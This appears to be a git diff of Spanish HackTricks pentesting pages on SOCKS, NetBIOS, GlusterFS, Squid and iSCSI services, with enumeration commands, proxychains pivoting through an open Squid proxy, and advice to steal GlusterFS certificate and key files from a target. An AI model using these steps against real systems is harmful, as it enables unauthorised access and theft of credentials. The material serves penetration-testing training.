* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# 1080 - Pentesting Socks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Información Básica
**SOCKS** es un protocolo utilizado para transferir datos entre un cliente y un servidor a través de un proxy. La quinta versión, **SOCKS5**, agrega una característica de autenticación opcional, permitiendo que solo usuarios autorizados accedan al servidor. Principalmente maneja la intermediación de conexiones TCP y el reenvío de paquetes UDP, operando en la capa de sesión (Capa 5) del modelo OSI.
**SOCKS** es un protocolo utilizado para transferir datos entre un cliente y un servidor a través de un proxy. La quinta versión, **SOCKS5**, agrega una función de autenticación opcional, permitiendo que solo los usuarios autorizados accedan al servidor. Principalmente maneja el proxy de conexiones TCP y el reenvío de paquetes UDP, operando en la capa de sesión (Capa 5) del modelo OSI.
**Puerto Predeterminado:** 1080
**Puerto por Defecto:** 1080
## Enumeración
@ -26,7 +27,7 @@ Otras formas de apoyar a HackTricks:
```bash
nmap -p 1080 <ip> --script socks-auth-info
```
### Fuerza bruta
### Fuerza Bruta
#### Uso básico
```bash
@ -50,17 +51,11 @@ PORT STATE SERVICE
### Uso básico de proxychains
Configurar proxychains para usar un proxy socks
Configura proxychains para usar un proxy socks
```
nano /etc/proxychains4.conf
```
```bash
ssh -D 1337 -q -C -N user@your-ssh-server.com
```
```html
<p>Now you can configure your browser to use the SOCKS proxy at <code>127.0.0.1:1337</code>.</p>
```
Edita la parte inferior y añade tu proxy
```
socks5 10.10.10.10 1080
```
@ -68,18 +63,19 @@ Con autenticación
```
socks5 10.10.10.10 1080 username password
```
#### Más información: [Tunelización y Reenvío de Puertos](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
#### Más información: [Tunneling and Port Forwarding](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# 137,138,139 - Pentesting NetBios
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Servicio de Nombres NetBios
El **Servicio de Nombres NetBIOS** juega un papel crucial, involucrando varios servicios como **registro y resolución de nombres**, **distribución de datagramas** y **servicios de sesión**, utilizando puertos específicos para cada servicio.
**El Servicio de Nombres NetBIOS** juega un papel crucial, involucrando varios servicios como **registro y resolución de nombres**, **distribución de datagramas** y **servicios de sesión**, utilizando puertos específicos para cada servicio.
[Desde Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
* Servicio de nombres para registro y resolución de nombres (puertos: 137/udp y 137/tcp).
* Servicio de distribución de datagramas para comunicación sin conexión (puerto: 138/udp).
* Servicio de sesión para comunicación orientada a la conexión (puerto: 139/tcp).
* Servicio de sesión para comunicación orientada a conexión (puerto: 139/tcp).
### Servicio de Nombres
Para que un dispositivo participe en una red NetBIOS, debe tener un nombre único. Esto se logra a través de un **proceso de difusión** donde se envía un paquete de "Consulta de Nombre". Si no se reciben objeciones, se considera que el nombre está disponible. Alternativamente, se puede consultar directamente a un **servidor de Servicio de Nombres** para verificar la disponibilidad del nombre o resolver un nombre a una dirección IP. Herramientas como `nmblookup`, `nbtscan` y `nmap` se utilizan para enumerar servicios NetBIOS, revelando nombres de servidores y direcciones MAC.
Para que un dispositivo participe en una red NetBIOS, debe tener un nombre único. Esto se logra a través de un **proceso de difusión** donde se envía un paquete de "Consulta de Nombre". Si no se reciben objeciones, el nombre se considera disponible. Alternativamente, se puede consultar directamente a un **servidor de Servicio de Nombres** para verificar la disponibilidad del nombre o para resolver un nombre a una dirección IP. Herramientas como `nmblookup`, `nbtscan` y `nmap` se utilizan para enumerar servicios NetBIOS, revelando nombres de servidores y direcciones MAC.
```bash
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
```
Enumerar un servicio NetBIOS te permite obtener los nombres que el servidor está utilizando y la dirección MAC del servidor.
Enumerando un servicio NetBIOS, puedes obtener los nombres que el servidor está utilizando y la dirección MAC del servidor.
```bash
nmblookup -A <IP>
nbtscan <IP>/30
@ -39,7 +40,7 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
```
### Servicio de Distribución de Datagramas
Los datagramas NetBIOS permiten la comunicación sin conexión a través de UDP, admitiendo mensajería directa o difusión a todos los nombres de red. Este servicio utiliza el puerto **138/udp**.
Los datagramas NetBIOS permiten la comunicación sin conexión a través de UDP, soportando mensajería directa o difusión a todos los nombres de la red. Este servicio utiliza el puerto **138/udp**.
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm
@ -48,14 +49,14 @@ PORT STATE SERVICE VERSION
Para interacciones orientadas a la conexión, el **Servicio de Sesión** facilita una conversación entre dos dispositivos, aprovechando conexiones **TCP** a través del puerto **139/tcp**. Una sesión comienza con un paquete de "Solicitud de Sesión" y puede establecerse en función de la respuesta. El servicio admite mensajes más grandes, detección de errores y recuperación, con TCP manejando el control de flujo y la retransmisión de paquetes.
La transmisión de datos dentro de una sesión implica **paquetes de Mensaje de Sesión**, y las sesiones se terminan cerrando la conexión TCP.
La transmisión de datos dentro de una sesión implica paquetes de **Mensaje de Sesión**, y las sesiones se terminan cerrando la conexión TCP.
Estos servicios son fundamentales para la funcionalidad de **NetBIOS**, permitiendo una comunicación eficiente y el intercambio de recursos en una red. Para obtener más información sobre los protocolos TCP e IP, consulte sus respectivas páginas de [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) e [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
Estos servicios son fundamentales para la funcionalidad de **NetBIOS**, permitiendo una comunicación eficiente y el intercambio de recursos a través de una red. Para más información sobre los protocolos TCP e IP, consulte sus respectivas páginas de [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) y [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
```bash
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
**Lee la siguiente página para aprender cómo enumerar este servicio:**
**Lee la siguiente página para aprender a enumerar este servicio:**
{% content-ref url="137-138-139-pentesting-netbios.md" %}
[137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md)
@ -84,16 +85,17 @@ Name: Find Names
Description: Three scans to find the names of the server
Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP}
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Información Básica
**GlusterFS** es un **sistema de archivos distribuido** que combina almacenamiento de múltiples servidores en un **sistema unificado**. Permite una **escalabilidad arbitraria**, lo que significa que puedes agregar o quitar servidores de almacenamiento fácilmente sin interrumpir el sistema de archivos en general. Esto garantiza una alta **disponibilidad** y **tolerancia a fallos** para tus datos. Con GlusterFS, puedes acceder a tus archivos como si estuvieran almacenados localmente, independientemente de la infraestructura del servidor subyacente. Proporciona una solución potente y flexible para gestionar grandes cantidades de datos en varios servidores.
**GlusterFS** es un **sistema de archivos distribuido** que combina el almacenamiento de múltiples servidores en un **sistema unificado**. Permite una **escalabilidad arbitraria**, lo que significa que puedes agregar o quitar servidores de almacenamiento fácilmente sin interrumpir el sistema de archivos en general. Esto asegura una alta **disponibilidad** y **tolerancia a fallos** para tus datos. Con GlusterFS, puedes acceder a tus archivos como si estuvieran almacenados localmente, independientemente de la infraestructura del servidor subyacente. Proporciona una solución poderosa y flexible para gestionar grandes cantidades de datos a través de múltiples servidores.
**Puertos predeterminados**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (en adelante)\
**Puertos por defecto**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (en adelante)\
Para el puerto 49152, los puertos incrementados en 1 deben estar abiertos para usar más bricks. _Anteriormente se utilizaba el puerto 24009 en lugar de 49152._
```
PORT STATE SERVICE
@ -28,19 +29,34 @@ PORT STATE SERVICE
Para interactuar con este sistema de archivos, necesitas instalar el [**cliente GlusterFS**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`).
Para listar y montar los volúmenes disponibles, puedes utilizar:
Para listar y montar los volúmenes disponibles, puedes usar:
```bash
sudo gluster --remote-host=10.10.11.131 volume list
# This will return the name of the volumes
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
```
Si recibes un **error al intentar montar el sistema de archivos**, puedes verificar los registros en `/var/log/glusterfs/`
Si recibes un **error al intentar montar el sistema de archivos**, puedes revisar los registros en `/var/log/glusterfs/`
Los **errores que mencionan certificados** se pueden solucionar robando los archivos (si tienes acceso al sistema):
**Los errores que mencionan certificados** se pueden solucionar robando los archivos (si tienes acceso al sistema):
* /etc/ssl/glusterfs.ca
* /etc/ssl/glusterfs.key
* /etc/ssl/glusterfs.ca.pem
Y almacenarlos en tu máquina en el directorio `/etc/ssl` o `/usr/lib/ssl` (si se utiliza un directorio diferente, verifica las líneas similares a: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" en los registros).
Y almacenándolos en tu máquina en el directorio `/etc/ssl` o `/usr/lib/ssl` (si se utiliza un directorio diferente, busca líneas similares a: "_no se pudo cargar nuestro certificado en /usr/lib/ssl/glusterfs.pem_" en los registros) .
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Información Básica
Desde [Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
De [Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
> **Squid** es un proxy web HTTP de almacenamiento en caché y reenvío. Tiene una amplia variedad de usos, incluyendo acelerar un servidor web mediante el almacenamiento en caché de solicitudes repetidas, almacenar en caché búsquedas web, DNS y otras búsquedas de red informática para un grupo de personas que comparten recursos de red, y ayudar en la seguridad filtrando el tráfico. Aunque se utiliza principalmente para HTTP y FTP, Squid incluye soporte limitado para varios otros protocolos, incluyendo Internet Gopher, SSL, TLS y HTTPS. Squid no admite el protocolo SOCKS, a diferencia de Privoxy, con el cual Squid puede utilizarse para proporcionar soporte SOCKS.
> **Squid** es un proxy web HTTP de caché y reenvío. Tiene una amplia variedad de usos, incluyendo acelerar un servidor web al almacenar en caché solicitudes repetidas, almacenar en caché búsquedas web, DNS y otras búsquedas de red informática para un grupo de personas que comparten recursos de red, y ayudar a la seguridad filtrando el tráfico. Aunque se utiliza principalmente para HTTP y FTP, Squid incluye soporte limitado para varios otros protocolos, incluyendo Internet Gopher, SSL, TLS y HTTPS. Squid no soporta el protocolo SOCKS, a diferencia de Privoxy, con el cual Squid puede ser utilizado para proporcionar soporte SOCKS.
**Puerto predeterminado:** 3128
**Puerto por defecto:** 3128
```
PORT STATE SERVICE VERSION
3128/tcp open http-proxy Squid http proxy 4.11
@ -28,7 +29,7 @@ PORT STATE SERVICE VERSION
## Proxy Web
Puedes intentar configurar este servicio descubierto como proxy en tu navegador. Sin embargo, si está configurado con autenticación HTTP, se te pedirá nombres de usuario y contraseña.
Puedes intentar configurar este servicio descubierto como proxy en tu navegador. Sin embargo, si está configurado con autenticación HTTP, se te pedirá que ingreses nombres de usuario y contraseñas.
```bash
# Try to proxify curl
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
@ -36,27 +37,28 @@ curl --proxy http://10.10.11.131:3128 http://10.10.11.131
## Nmap proxificado
También puedes intentar abusar del proxy para **escanear puertos internos proxificando nmap**.\
Configura proxychains para usar el proxy squid agregando la siguiente línea al final del archivo proxichains.conf: `http 10.10.10.10 3128`
Para proxies que requieren autenticación, agrega credenciales a la configuración incluyendo el nombre de usuario y la contraseña al final: `http 10.10.10.10 3128 nombre_usuario contraseña`.
Configura proxychains para usar el proxy squid añadiendo la siguiente línea al final del archivo proxichains.conf: `http 10.10.10.10 3128`
Para proxies que requieren autenticación, añade credenciales a la configuración incluyendo el nombre de usuario y la contraseña al final: `http 10.10.10.10 3128 username passw0rd`.
Luego ejecuta nmap con proxychains para **escanear el host desde local**: `proxychains nmap -sT -n -p- localhost`
## Escáner SPOSE
## SPOSE Scanner
Alternativamente, se puede utilizar el Escáner de Puertos Abiertos de Pivote Squid ([spose.py](https://github.com/aancw/spose)).
Alternativamente, se puede usar el Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)).
```bash
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# 3260 - Pentesting iSCSI
# 3260 - Pentesting ISCSI
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
